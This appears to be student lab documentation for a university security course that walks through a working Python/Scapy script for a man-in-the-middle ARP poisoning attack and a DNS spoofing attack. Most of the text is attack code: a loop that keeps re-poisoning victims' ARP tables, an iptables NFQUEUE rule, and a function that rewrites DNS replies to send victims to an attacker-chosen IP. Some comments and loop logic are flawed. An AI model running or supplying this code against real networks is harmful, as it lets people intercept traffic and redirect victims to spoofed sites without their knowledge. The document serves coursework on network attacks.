Documentation of the Python script

2IC80 - ARP-poisoning and DNS spoofing

This document will cover the code for the ARP-poisoning attack and the DNS spoofing attack. It aims to shortly explain decisions made for the attack to work and be efficient in its execution, as well as how it fulfills the different requirements set up by the code conditions.

```
# The main method containing both the arp_poison() method and the dns_spoof() method.
def main():
    typeOfAttack = int(input("Choose your attack. \nType 1 for a MITM ARP poisoning attack.\nType 2 for a DNS spoofing attack.\nType of attack: "))
    if (typeOfAttack == 1):
        arp_poison()
    elif (typeOfAttack == 2):
        dns_spoof()
    else:
        print("No or wrong input.")
```

Figure 1

Before we even start the attack, since our attack is part of a script that is be able to perform two different attacks, we first of course need to be able to choose the attack we want to use, which is done through the code seen in figure 1.

ARP poisoning

Once we have chosen the ARP-poisoning attack, we can go to the arp_poison() method. The arp_poison() method starts by asking the user how many hosts they intend to poison. Of course, since we want a man in the middle attack, if the amount of hosts to poison is smaller than 2, the code will not be able to run. Thus, we ask the user how many users they want to poison until the input is 2 or larger.

After getting the number of hosts as an input for variable nrOfHosts, the code then asks for the amount of time (in seconds) the user wants to wait between ARP messages being sent as input for variable updateTimer. This allows the user to set by themselves how persistent they want the attack to be. Naturally, the timer cannot be negative, and thus the code will ask for the user to input a positive number for the timer if they did not provide one.

After having input the timer amount, The code then asks for each host their respective MAC and IP-addresses and sets them in the lists macVictimList and ipVictimList respectively. Once this is done, the code will finally ask for the attacker's (usually the user's) own MAC address, to be able to send spoofed messages later down the line. All this can be found in figure 2.

```
# This arp_poison() method is used for the MITM ARP poisoning attack.
def arp_poison():
    # The user is given the option to choose how many hosts will be attacked during the ARP poisoning attack.
    nrOfHosts = int(input("The number of hosts you want to ARP poison: "))

    # If number of hosts is less than 2, a while loop is instantiated which can only be left if the number of hosts becomes greater or equal than 2.
    if (nrOfHosts < 2):
        print("A MITM ARP poisoning attack with less than 2 hosts is not possible.")
        print("The number of hosts you want to ARP poison: ")
        while (nrOfHosts < 2):
            nrOfHosts = input()

    # The user is given the option to choose how often the ARP entries need to be updated by choosing the time in seconds in between the spoofed ARP messages are sent.
    updateTimer = int(input("The time (in seconds) in between the spoofed ARP messages are sent (advice: Do not set it too high, e.g. > 60).\nSet update timer to: "))

    # If update timer is set to less than 1 seconds, a while loop is instantiated which can only be left if the update timer is set to greater or equal than 1.
    if (updateTimer < 1):
        print("A MITM ARP poisoning attack with an update timer < 1 seconds is not possible.")
        print("The time (in seconds) it takes for the ARP entries to be updated (advice: Do not set it too high, e.g. > 60 seconds).\nSet the update timer to: ")
        while (updateTimer < 1):
            updateTimer = input()

    # Note that the indexes of these two lists below containing the MAC addresses and IP addresses correspond.
    # This is due to the fact that the input is requested in order from the user in the for-loop below.

    # Create a list of all the MAC addresses of the victims.
    macVictimList = []

    # Create a list of all the IP addresses of the victims.
    ipVictimList = []

    # The MAC and IP addresses of the victims and the attacker are obtained in this for-loop.
    for i in range(nrOfHosts):
        # Note: i + 1 is printed to the user of the software as this seems to be more intuitive.
        macVictimList.append(raw_input("The MAC address of the " + str(i+1) + "th victim:"))
        ipVictimList.append(raw_input("The IP address of the " + str(i+1) + "th victim:"))
    # The MAC address of the attacker is obtained.
    macAttacker = raw_input("The MAC address of the attacker:")
```

Figure 2

Once the code has all the necessary input, it's time to send spoofed messages. Figure

The code from figure 3 covers the method used to create spoofed messages. We take the same basic template covered in Lab 1 for fabricating spoofed ARP messages, and adapt it to be replicated for each possible host to be ARP-poisoned.

First of all, since we do not know how many hosts the user wants to poison, we need to adapt the code to that: We have a nested for-loop that goes through each host saved by the code inside a for-loop that does the same. The host at index i of the ipVctimList and macVictimList lists is the receiver of the spoofed message, and the host at index j of ipVictimList is the host the attacker wants to impersonate.

Thus, the code has the attacker send a message to the i'th victim pretending to be the j'th host. However, there are a few conditions to that method: first of all, the attacker naturally cannot pretend to be the victim. Thus, when i == j, we increment j by one to avoid that scenario. Another problem we can encounter is an "IndexError: list index out of range" error message: since lists have indexes that start at 0, their length is naturally smaller than the variable nrOfHosts we use as range of the for-loops by 1. Thus, we need to break the for-loops as soon as j or i is equal to nrOfHosts to avoid an "IndexError: list index out of range" error message.

```
# Send ARP package to every victim saying that each other victim is the attacker using the spoofed MAC address of the attacker.
# Integer i goes through all the hosts and represents the victims that will be fooled.
for i in range(nrOfHosts):
    if (i==nrOfHosts):
            break
    # Integer j goes through all the hosts and represents the IP addresses that will be spoofed.
    # Essentially, the goal is to have every host thinking that every other host is the attacker.
    for j in range(nrOfHosts):
        # No need to send ARP package to itself. So if i == j, we increase j and skip the step of sending an ARP packet.
        if (i==j):
            j+=1
        # Since we indent by 1 at every time i == j, at the very last host the attacker can send a message pretending to be someone that is out of the index of ipVictimLis
        # To prevent getting an index out of bounds error, we break the loop if j == nrOfHosts.
        if (j==nrOfHosts):
            break
        arp = Ether() / ARP()
        arp[Ether].src = macAttacker
        arp[ARP].hwsrc = macAttacker
        arp[ARP].psrc = ipVictimList[j] # Spoofed victim
        arp[ARP].hwdst = macVictimList[i] # Tricked victim
        arp[ARP].pdst = ipVictimList[i]
        sendp(arp, iface="enp0s9")
```

Figure 3

Now that we have sent the initial spoofed ARP messages, that's it! The hosts are ARP poisoned. We can find the ARP messages on Wireshark and listen in on the packets sent between the hosts by intercepting them and forwarding them, or uncomment the line #sniff(iface="enp0s9") to sniff packages via Scapy instead of Wireshark. By uncommenting that line, the code will indefinitely listen in on packets on the designated interface. However, because this option may mess with the flow and persistence of the code, we do not recommend it.\\

However, it is important to remember that ARP tables usually get updated every minute or so. Thus, unless we persistently resend spoofed messages, our attack will eventually stop after a certain amount of time. This is why we have the code which can be seen in figure 4, a simple infinite while-loop that sends ARP messages the same way we explained for figure 3, with the updateTimer variable input at the beginning of the code deciding the interval at which these messages are sent.

```
# Call sniff to start sniffing for incoming packets from victims
# Sniff is technically unnecessary for the purpose of the code, as Wireshark will simply do sniff's work.
# However, if you want to sniff the packets via Scapy and get a summary of them on Scapy, then you will need sniff.
# Keep in mind that while sniff is active, the code will not send ARP packets periodically.
# You will also need to ctrl + C the code to stop the sniffing and send spoofed ARP packets, and you will need to ctrl + C again to stop the code.
# Uncomment the following line to enable sniff:
#sniff(iface = "enp0s9")

# An infinite loop is used to send ARP packages continuously updating the ARP tables of the victims.
# Considering the fact that ARP table entries get deleted unless they are refreshed (possibly with a new MAC address),
# this while-loop is needed to prevent the situation in which our MAC addreses get deleted or overwritten by the actual correct MAC addresses.
while(True):
    # Send ARP package to every victim saying that each other victim is the attacker using the spoofed MAC address of the attacker.
    # Integer i goes through all the hosts and represents the victims that will be fooled.
    for i in range(nrOfHosts):
        if (i==nrOfHosts):
            break
        # Integer j goes through all the hosts and represents the IP addresses that will be spoofed.
        # Essentially, the goal is to have every host thinking that every other host is the attacker.
        for j in range(nrOfHosts):
            # No need to send ARP package to itself. So if i == j, we increase j and skip the step of sending an ARP packet.
            if (i==j):
                j+=1
            # Since we indent by 1 at every time i == j, at the very last host the attacker can send a message pretending to be someone that is out of the index of ipVicti
            # To prevent getting an index out of bounds error, we break the loop if j == nrOfHosts.
            if (j==nrOfHosts):
                break
            arp = Ether() / ARP()
            arp[Ether].src = macAttacker
            arp[ARP].hwsrc = macAttacker
            arp[ARP].psrc = ipVictimList[j] # Spoofed victim
            arp[ARP].hwdst = macVictimList[i] # Tricked victim
            arp[ARP].pdst = ipVictimList[i]
            sendp(arp, iface="enp0s9")

    # The ARP table update timer
    # The default updateTimer value we used while testing was: updateTimer = 3.
    time.sleep(updateTimer)
```

Figure 4

DNS spoofing

Once we have chosen the ARP-poisoning attack, we can go to the arp_poison() method. The dns_spoof() method starts by asking the user for the URL of the webpage that he/she wants to DNS spoof and for the IP address of the host the user wants to redirect the victim to. Then, some lines get printed to indicate to the user that now an ARP poisoning attack should be initiated in order to be able to perform the DNS spoofing attack. This is implemented by creating a thread with the arp_poison() method as you can see in figure 5.

```
# This dns_spoof() method is used for the MITM DNS spoofing attack.
# This method is adapted code from the source code: https://www.thepythoncode.com/code/make-dns-spoof-python
def dns_spoof():

    # The user needs to input the webpage he/she wants to DNS spoof.
    url_webpage = raw_input("The URL of the webpage you want to DNS spoof (e.g., www.google.com): ")

    # The user needs to input the ip of the host he/she wants to forward the victim to.
    ip_dns_spoof = raw_input("The IP address of the host you want to DNS spoof with (Note: your victim will be sent to this webpage): ")

    # In order to be able to perform a DNS spoofing attack on a victim we need to ARP poison both the victim and the gateway router.
    # Hence the arp_poison() method is used to make this possible.
    print("In order to be able to perform a DNS spoofing attack on a victim we need to ARP poison both the victim and the gateway router.\n")
    print("Hence a ARP poisoning attack is now initiated.\n")

    # Starting a thread for the arp_poison() method
    arp_poison_thread = threading.Thread(target=arp_poison, name="arp_poison_is_live")
    arp_poison_thread.start()
```

Figure 5

As can be seen in figure 6, a dictionary is created containing the url_webpage which will be spoofed and the IP address of the host the victim will be forwarded to. Of course, more key-value pairs could be added manually here if you want to spoof multiple webpages. For the future it would be nice to have an option to input multiple different websites with multiple different IP addresses as the user.

```
# Dictionary containing the url_webpage which will be spoofed and the IP address of the host the victim will be forwarded to.
# Note: more key-value pairs can be added manually down here if you want to spoof multiple webpages at once.
#       The option to spoof mutiple different websites with multiple different IP addresses could also be added to this method in the future.
dns_hosts = {
    url_webpage: ip_dns_spoof,
}
```

Figure 6

In order to perform a DNS spoofing attack, we need to be able to monitor and modify the packets that get forwarded by the attacker. Hence, we insert the iptables FORWARD rule in a subshell and create a netfilter queue object. As you can see in figure 7, we bind the method process_packet to the queue indicating that each packet will be processed by this method. If the user interrupts the program's execution, delete all the rules temporarily, resetting to the default rules again after restarting.

```
# Set queue_num to 0, this uniquely identifies the queue for the kernel.
QUEUE_NUM = 0
# Insert the iptables FORWARD rule in a subshell.
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
# Create the netfilter queue object.
# Using "queue" we can now access the packets matching the iptables rule.
queue = NetfilterQueue()
try:
    # Bind the queue number and the method process_packet() to the queue.
    queue.bind(QUEUE_NUM, process_packet)
    # Start the queue, we now start receiving packets.
    queue.run()
except KeyboardInterrupt:
    # If the user interrupts the program's execution, delete all the rules temporarily.
    # This removes that rule that we just inserted. After you restart the iptables, you'll see the default rules again.
    # So we are simply going back to normal.
    os.system("iptables --flush")
```

Figure 7

In figure 8 you can see the method process_packet() which is used to process each packet which is forwarded by the attacker. After the packet gets converted to a Scapy packet, as long as the packet is a UDP packet, each packet gets modified using the modify_packet() method. After being processed by the modify_packet() method it gets converted back to a netfilter queue packet and accepted, which means it gets forwarded to its destination.

```
# Whenever a new packet is redirected to the netfilter queue, this method is called.
def process_packet(packet):
    # Convert netfilter queue packet to scapy packet.
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR): # DNSRR: DNS Resource Record
        # If the packet is a DNS Resource Record (DNS reply), we modify the packet using the modify_packet() method.
        # Print summary of packet before modifying it.
        print("[Before]:", scapy_packet.summary())
        try:
            scapy_packet = modify_packet(scapy_packet)
        except IndexError:
            # An IndeError occurs when the packet is not an UDP packet.
            # Instead, the packet could be an IPerror/UDPerror packet.
            # When an IndexError occurs, we do not modify the packet using the modify_packet() method.
            pass
        # Print summary of packet after modifying it.
        print("[After ]:", scapy_packet.summary())
        # Convert scapy packet back to netfilter queue packet.
        packet.set_payload(bytes(scapy_packet))
    # We accept the packet as it has been either modified successfully or is an IPerror/UDPerror packet.
    # Meaning we are only letting through spoofed packets.
    packet.accept()
```

Figure 8

In figure 9 you can see the method modify_packet() which is used to modify packets if that is needed. Firstly, DNS domain name of the DNS request is obtained. Then, it is checked whether this domain name is in our dictionary dns_hosts. If this would be the case, this means that the packet will need to be modified. Hence, an if-statement checks whether this is not the case and simply returns the packet unmodified when the domain name is not in our dictionary dns_hosts. However, when the domain name is in our dictionary dns_hosts, a new DNS reply packet is crafted which will override the original reply. The same qname (domain name) is used but the IP address is changed to the matching IP address (with the url_webpage) from the dictionary dns_hosts. The answer count is set to 1 and then the checksums and the length of the packet is deleted. This is needed because the checksum and the length of the packet have changed due to modification of the packet. Of course calculations are required in order to obtain the new checksums and the length of the modified packet. This is automatically done by Scapy. After these modifications, this new packet is returned.

```
# This function modifies the DNS Resource Record packet (the DNS reply) such that it maps our dictionary "dns_hosts".
# When we see an "url_webpage" reply, the real IP address in the packet gets replaced with the IP address "ip_dns_spoof."
def modify_packet(packet):
    # We obtain the DNS domain name of the DNS request.
    qname = packet[DNSQR].qname # DNSQR: DNS Question Record
    if qname not in dns_hosts:
        # If the website/domain name is not in our dictionary "dns_hosts", we do not modify the packet.
        # We simply return the packet unmodified.
        print("no modification:", qname)
        return packet
    # If qname is in the dictionary "dns_hosts", the IP address needs to be replaced.
    # Hence we craft a new reply packet overriding the original reply.
    # We set the rdata for the IP we want to redirect the victim to.
    # So the qname is again set to url_webpage and the rdata (corresponding IP address) is set to the matching IP address from the dictionary ""dns_hosts".
    # Now, the url_webpage will be mapped to the corresponding spoofing IP address "ip_dns_spoof" from the dictionary "dns_hosts".
    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname]) # rrname: record name, rdata: record data
    # set the answer count to 1, indicating that the number of items in the answer section is equal to 1.
    packet[DNS].ancount = 1
    # We delete the checksums and the length of the packet. This is needed because the checksum and the length of the packet have changed due to modification of the packet.
    # Of course calculations are required in order to obtain the new checksums and the length of the modified packet. This is automatically done by scapy.
    del packet[IP].len
    del packet[IP].chksum
    del packet[UDP].len
    del packet[UDP].chksum
    # We return the modified packet.
    return packet
```

Figure 9